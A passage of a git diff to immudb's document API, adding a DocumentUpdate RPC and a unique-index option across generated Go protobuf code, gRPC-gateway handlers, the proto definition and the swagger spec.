0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, + 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, + 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1681,79 +1824,85 @@ func file_documentschema_proto_rawDescGZIP() []byte { } var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 24) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 26) var file_documentschema_proto_goTypes = []interface{}{ (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator (IndexType)(0), // 1: immudb.documentschema.IndexType (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse - (*IndexValue)(nil), // 4: immudb.documentschema.IndexValue - (*DocumentQuery)(nil), // 5: immudb.documentschema.DocumentQuery - (*DocumentSearchRequest)(nil), // 6: immudb.documentschema.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 7: immudb.documentschema.DocumentSearchResponse - (*DocumentProofRequest)(nil), // 8: immudb.documentschema.DocumentProofRequest - (*DocumentProofResponse)(nil), // 9: immudb.documentschema.DocumentProofResponse - (*DocumentAuditRequest)(nil), // 10: immudb.documentschema.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 11: immudb.documentschema.DocumentAuditResponse - (*DocumentAudit)(nil), // 12: immudb.documentschema.DocumentAudit - (*IndexOption)(nil), // 13: immudb.documentschema.IndexOption - (*CollectionCreateRequest)(nil), // 14: immudb.documentschema.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 15: immudb.documentschema.CollectionCreateResponse - (*CollectionInformation)(nil), // 16: immudb.documentschema.CollectionInformation - (*CollectionGetResponse)(nil), // 17: immudb.documentschema.CollectionGetResponse - (*CollectionGetRequest)(nil), // 18: immudb.documentschema.CollectionGetRequest - (*CollectionListRequest)(nil), // 19: immudb.documentschema.CollectionListRequest - (*CollectionListResponse)(nil), // 20: immudb.documentschema.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 21: immudb.documentschema.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 22: immudb.documentschema.CollectionDeleteResponse - (*Proof)(nil), // 23: immudb.documentschema.Proof - nil, // 24: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 25: immudb.documentschema.CollectionInformation.IndexKeysEntry - (*structpb.Struct)(nil), // 26: google.protobuf.Struct - (*schema.VerifiableTx)(nil), // 27: immudb.schema.VerifiableTx - (structpb.NullValue)(0), // 28: google.protobuf.NullValue - (*structpb.Value)(nil), // 29: google.protobuf.Value + (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest + (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse + (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue + (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery + (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse + (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest + (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse + (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse + (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit + (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption + (*CollectionCreateRequest)(nil), // 16: immudb.documentschema.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse + (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation + (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse + (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest + (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest + (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse + (*Proof)(nil), // 25: immudb.documentschema.Proof + nil, // 26: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 27: immudb.documentschema.CollectionInformation.IndexKeysEntry + (*_struct.Struct)(nil), // 28: google.protobuf.Struct + (*schema.VerifiableTx)(nil), // 29: immudb.schema.VerifiableTx + (_struct.NullValue)(0), // 30: google.protobuf.NullValue + (*_struct.Value)(nil), // 31: google.protobuf.Value } var file_documentschema_proto_depIdxs = []int32{ - 26, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 27, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx - 28, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue - 0, // 3: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 29, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value - 5, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 26, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 27, // 7: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx - 12, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 26, // 9: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct - 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 24, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - 16, // 12: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 25, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry - 16, // 14: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 16, // 15: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 13, // 16: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 13, // 17: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 18: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 6, // 19: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 10, // 20: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 8, // 21: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 14, // 22: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 18, // 23: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 19, // 24: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 21, // 25: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 3, // 26: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 7, // 27: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 11, // 28: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 9, // 29: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 15, // 30: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 17, // 31: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 20, // 32: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 22, // 33: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 26, // [26:34] is the sub-list for method output_type - 18, // [18:26] is the sub-list for method input_type - 18, // [18:18] is the sub-list for extension type_name - 18, // [18:18] is the sub-list for extension extendee - 0, // [0:18] is the sub-list for field type_name + 28, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 29, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx + 28, // 2: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 29, // 3: immudb.documentschema.DocumentUpdateResponse.proof:type_name -> immudb.schema.VerifiableTx + 30, // 4: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 0, // 5: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator + 31, // 6: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 7, // 7: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery + 28, // 8: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 29, // 9: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx + 14, // 10: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit + 28, // 11: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct + 1, // 12: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType + 26, // 13: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 18, // 14: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 27, // 15: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 18, // 16: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 18, // 17: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation + 15, // 18: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 19: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 20: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 4, // 21: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest + 8, // 22: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 12, // 23: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 10, // 24: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 16, // 25: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 20, // 26: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 21, // 27: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 23, // 28: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 3, // 29: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 5, // 30: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse + 9, // 31: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 13, // 32: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 11, // 33: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 17, // 34: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 19, // 35: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 22, // 36: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 24, // 37: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 29, // [29:38] is the sub-list for method output_type + 20, // [20:29] is the sub-list for method input_type + 20, // [20:20] is the sub-list for extension type_name + 20, // [20:20] is the sub-list for extension extendee + 0, // [0:20] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } @@ -1787,7 +1936,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexValue); i { + switch v := v.(*DocumentUpdateRequest); i { case 0: return &v.state case 1: @@ -1799,7 +1948,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentQuery); i { + switch v := v.(*DocumentUpdateResponse); i { case 0: return &v.state case 1: @@ -1811,7 +1960,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { + switch v := v.(*IndexValue); i { case 0: return &v.state case 1: @@ -1823,7 +1972,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { + switch v := v.(*DocumentQuery); i { case 0: return &v.state case 1: @@ -1835,7 +1984,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofRequest); i { + switch v := v.(*DocumentSearchRequest); i { case 0: return &v.state case 1: @@ -1847,7 +1996,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofResponse); i { + switch v := v.(*DocumentSearchResponse); i { case 0: return &v.state case 1: @@ -1859,7 +2008,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditRequest); i { + switch v := v.(*DocumentProofRequest); i { case 0: return &v.state case 1: @@ -1871,7 +2020,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditResponse); i { + switch v := v.(*DocumentProofResponse); i { case 0: return &v.state case 1: @@ -1883,7 +2032,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAudit); i { + switch v := v.(*DocumentAuditRequest); i { case 0: return &v.state case 1: @@ -1895,7 +2044,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexOption); i { + switch v := v.(*DocumentAuditResponse); i { case 0: return &v.state case 1: @@ -1907,7 +2056,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateRequest); i { + switch v := v.(*DocumentAudit); i { case 0: return &v.state case 1: @@ -1919,7 +2068,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateResponse); i { + switch v := v.(*IndexOption); i { case 0: return &v.state case 1: @@ -1931,7 +2080,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionInformation); i { + switch v := v.(*CollectionCreateRequest); i { case 0: return &v.state case 1: @@ -1943,7 +2092,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetResponse); i { + switch v := v.(*CollectionCreateResponse); i { case 0: return &v.state case 1: @@ -1955,7 +2104,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetRequest); i { + switch v := v.(*CollectionInformation); i { case 0: return &v.state case 1: @@ -1967,7 +2116,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { + switch v := v.(*CollectionGetResponse); i { case 0: return &v.state case 1: @@ -1979,7 +2128,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { + switch v := v.(*CollectionGetRequest); i { case 0: return &v.state case 1: @@ -1991,7 +2140,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteRequest); i { + switch v := v.(*CollectionListRequest); i { case 0: return &v.state case 1: @@ -2003,7 +2152,7 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteResponse); i { + switch v := v.(*CollectionListResponse); i { case 0: return &v.state case 1: @@ -2015,6 +2164,30 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentschema_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentschema_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Proof); i { case 0: return &v.state @@ -2027,7 +2200,7 @@ func file_documentschema_proto_init() { } } } - file_documentschema_proto_msgTypes[2].OneofWrappers = []interface{}{ + file_documentschema_proto_msgTypes[4].OneofWrappers = []interface{}{ (*IndexValue_NullValue)(nil), (*IndexValue_NumberValue)(nil), (*IndexValue_StringValue)(nil), @@ -2039,7 +2212,7 @@ func file_documentschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, - NumMessages: 24, + NumMessages: 26, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentschema/documentschema.pb.gw.go b/pkg/api/documentschema/documentschema.pb.gw.go index 3025d8b132..760e151395 100644 --- a/pkg/api/documentschema/documentschema.pb.gw.go +++ b/pkg/api/documentschema/documentschema.pb.gw.go @@ -67,6 +67,40 @@ func local_request_DocumentService_DocumentInsert_0(ctx context.Context, marshal } +func request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentUpdateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentUpdateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentUpdate(ctx, &protoReq) + return msg, metadata, err + +} + func request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata @@ -338,6 +372,29 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -560,6 +617,26 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -706,6 +783,8 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv var ( pattern_DocumentService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DocumentUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "update"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DocumentAudit_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) @@ -724,6 +803,8 @@ var ( var ( forward_DocumentService_DocumentInsert_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentUpdate_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentSearch_0 = runtime.ForwardResponseMessage forward_DocumentService_DocumentAudit_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index e823ad2628..d4804a7930 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -59,6 +59,16 @@ message DocumentInsertResponse { string documentId = 2; } +message DocumentUpdateRequest { + string collection = 1; + google.protobuf.Struct document = 2; +} + +message DocumentUpdateResponse { + schema.VerifiableTx proof = 1; + uint64 revision = 2; +} + enum QueryOperator { EQ = 0; @@ -135,6 +145,7 @@ message DocumentAudit { message IndexOption { IndexType type = 1; + bool unique = 2; } enum IndexType { @@ -194,6 +205,16 @@ service DocumentService { tags: "documents"; }; } + + rpc DocumentUpdate(DocumentUpdateRequest) returns (DocumentUpdateResponse) { + option (google.api.http) = { + post: "/documents/update" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: ["documents"]; + }; + } rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { option (google.api.http) = { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 72b14831bd..779cae3e42 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -266,6 +266,38 @@ "documents" ] } + }, + "/documents/update": { + "post": { + "operationId": "DocumentService_DocumentUpdate", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/documentschemaDocumentUpdateResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/documentschemaDocumentUpdateRequest" + } + } + ], + "tags": [ + "documents" + ] + } } }, "definitions": { @@ -488,11 +520,37 @@ } } }, + "documentschemaDocumentUpdateRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "document": { + "type": "object" + } + } + }, + "documentschemaDocumentUpdateResponse": { + "type": "object", + "properties": { + "proof": { + "$ref": "#/definitions/schemaVerifiableTx" + }, + "revision": { + "type": "string", + "format": "uint64" + } + } + }, "documentschemaIndexOption": { "type": "object", "properties": { "type": { "$ref": "#/definitions/documentschemaIndexType" + }, + "unique": { + "type": "boolean" } } }, @@ -530,7 +588,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = 